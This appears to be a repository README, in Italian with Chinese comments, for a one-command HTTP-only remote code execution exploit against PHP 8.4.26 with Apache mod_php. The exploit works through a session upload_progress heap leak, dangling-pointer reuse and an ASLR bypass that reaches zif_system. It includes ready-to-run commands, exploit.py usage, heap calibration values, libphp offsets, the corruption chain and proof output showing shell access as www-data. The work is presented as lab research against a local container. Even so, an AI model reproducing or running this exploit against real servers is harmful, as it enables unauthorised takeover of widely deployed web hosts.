
Exploit puramente HTTP che ottiene RCE su PHP 8.4.26 + Apache mod_php tramite heap leak di session upload_progress, riuso di puntatori dangling e bypass ASLR per chiamare zif_system.
中文 | English
Con i vincoli di "completamente remoto, solo HTTP, pagina di destinazione senza session_start(), nessuna scrittura di PHP lato target", ottenere l'RCE su PHP 8.4.26 + Apache prefork + mod_php con un singolo exploit.py. L'immagine ufficiale php:8.4.26-apache è già stata testata con successo 3/3 con un solo comando (PROOF: uid=33(www-data)...). La versione attuale richiede display_errors=1; con display_errors=0 è già stato ottenuto il leak dell'heap via HTTP puro, l'RCE completo sarà inviato in seguito.
Di seguito sono riportati i comandi completi da zero all'RCE, basta copiare ed eseguire l'intero blocco. Questo repository non compila PHP/Apache, non c'è docker build: l'ambiente è l'immagine ufficiale php:8.4.26-apache con i mount di configurazione presenti sotto docker/.
# 依赖:Docker Engine/Desktop + Docker Compose v2 + Python 3.9+
git clone https://github.com/9bie/php2shell-bypass-aslr-exp.git
cd php2shell-bypass-aslr-exp
# 1) 拉官方镜像(PHP 8.4.26 / Debian 12 / Apache prefork)
docker compose -f docker/docker-compose.yml pull
# 2) 起目标:单 worker、display_errors=On、memory_limit=8M
docker compose -f docker/docker-compose.yml up -d
# 3) 等 Apache 就绪并确认普通页面
for i in $(seq 1 20); do
curl -fsS http://127.0.0.1:8088/index.php >/dev/null 2>&1 && break
sleep 0.5
done
curl -s http://127.0.0.1:8088/index.php # OK
# 4) 一条命令完成整个利用;首次运行会自动读取 libphp 偏移
python3 exploit.py -u http://127.0.0.1:8088/index.php
# PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Se sei già nella directory del repository, salta
git clone/cd; anchepullpuò essere omesso,up -dscaricherà automaticamente l'immagine.
exploit.py esegue automaticamente la rotazione dei worker, la fuga di informazioni in due fasi, l'esecuzione di zif_system e la lettura della proof, con retry integrati in ogni fase. Ambiente di esecuzione:
| Componente | Versione | Origine |
|---|---|---|
| PHP | 8.4.26 (NTS, mod_php) | php:8.4.26-apache |
| Sistema base | Debian 12 (bookworm) | Idem |
| Apache | 2.4.69 (pacchetto Debian 12 nell'immagine ufficiale, verificato) | Idem |
| MPM | prefork, singolo worker | docker/apache.conf |
| Apache nel report del lab | 2.4.68 (compilato autonomamente nel lab originale, --profile lab) | Per una corrispondenza esatta, usare il tag 2.4.68 di apache/httpd |
Repository ufficiale delle immagini: docker-library/php (Docker Hub: php:8.4.26-apache); sorgente PHP: php/php-src (tag php-8.4.26).
Alla prima esecuzione viene eseguito automaticamente docker/offsets.py: legge dal libphp.so all'interno del container gli offset reali di zif_system / zval_ptr_dtor e li scrive in out/offsets.env; exploit.py li carica automaticamente, quindi dopo aver cambiato l'immagine ufficiale o aggiornato non è necessario modificare manualmente gli offset. Il comando predefinito è id>/out/p1 (10 byte); la directory /out nel container è montata su ./out del repository, e la proof viene depositata direttamente sulla macchina locale:
[*] target http://127.0.0.1:8088/index.php (cmd='id>/out/p1')
[*] no offsets file; reading libphp symbols from container php2shell-target
zif_system 0x...
zval_ptr_dtor 0x...
[+] chunk base = 0x...
[+] libphp base = 0x...
[*] stage 3: HTDATA=0x... ZIF=0x...
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Il limite per i comandi nel payload è di 14 byte. Per eseguire comandi arbitrari, scrivi lo script nella directory montata, poi eseguilo con sh</out/c (8 byte):
printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'sh</out/c'
Parametri comuni: --profile, --cmd, --proof-file, --fetch, --zif-offset, --dtor-offset, --htdata-offset, --no-pre-rotate, --retries. Il profilo predefinito è bookworm (immagine ufficiale); la build del lab originale usa --profile lab. --offsets-file '' può disattivare la lettura automatica; quando il nome del container non è php2shell-target, usare --docker-container per specificarlo.
La calibrazione dell'heap per bookworm è integrata: numero di filler dello stage1 841; array di destinazione dello stage2 406, lunghezza del valore dell'elemento 16; stage3 HTDATA=chunk+0x690d8, il pad di A è 6×(31,31), e include inoltre 32 caratteri di Cookie: PHPSESSID valido, facendo riutilizzare a B lo stale id (send_cookie=0), evitando che l'header Set-Cookie della sessione sovrascriva val.type in R0+16; B usa un carrier da 15B per sovrascrivere val.value del reference. Gli offset di libphp dell'immagine ufficiale vengono letti automaticamente come zif_system=0x465370, zval_ptr_dtor=0x65eb60; il lab originale usa 0x43a870 / 0x613c50.
La superficie di vulnerabilità è l'inizializzazione della sessione attivata da session.upload_progress prima di RINIT, e il puntatore pendente che persiste tra le richieste dopo il bailout per OOM. Di seguito si prende come esempio la build del lab; per i valori di riferimento della bookworm dell'immagine ufficiale si veda la fine dell'exp.
Tutto il traffico d'attacco dell'intera catena è costituito da normali HTTP multipart, e la pagina di destinazione contiene solo <?php echo "OK\n"; ?>:
rotazione dei worker: dopo A_bigfields (campo POST vivo da 3MB + OOM da 12MB) segue immediatamente una B che inizializza la sessione, il child esce con SIGABRT; il nuovo worker forkato dal prefork eredita le stesse mappature libphp/chunk.
leak dell'heap: A attiva l'avviso max_input_vars con 1001 campi (display_errors=On → headers_sent=1), PHPSESSID=\x00 genera un nuovo id e imposta send_cookie=1, l'ultimo campo da 12MB va in OOM dentro php_session_initialize(), PS(http_session_vars) resta pendente. B rioccupa la vecchia reference con un buffer di valori grezzi multipart da 56B, e usa la zend_string viva da 192B per ospitare la fake HashTable; la lettura fuori limite di php_url_encode() scrive il puntatore del chunk dello Zend MM in Set-Cookie (4096B, 98 puntatori).
leak di libphp: A colloca il PS(id) pendente in chunk+0xb7400; la pagina HashTable da 56B di B fa sì che ZSTR_LEN(PS(id)) legga nTableSize=16, e l'area dati è esattamente nNextFreeElement|pDestructor; pDestructor = ZVAL_PTR_DTOR = libphp+0x613c50, da Set-Cookie si ricava la base di libphp.
esecuzione di comandi: A fissa la reference pendente a R0=chunk+0x24e0 con 6 pad; B sovrascrive R0-0x10 con un raw buffer da 55B, la fake HashTable è collocata nella stringa viva da 167B in chunk+0x6e0d8, pDestructor = zif_system = libphp+0x43a870. Catena di attivazione:
php_session_track_init()
zval_ptr_dtor(PS(http_session_vars))
zend_reference_destroy(R0)
zval_ptr_dtor(&ref->val) # IS_ARRAY_EX
zend_array_destroy(fake HT)
zend_hash_destroy(fake HT)
pDestructor(&bucket->val) # zif_system
Il terminale utilizza solo zif_system all'interno di libphp, non necessita di libc.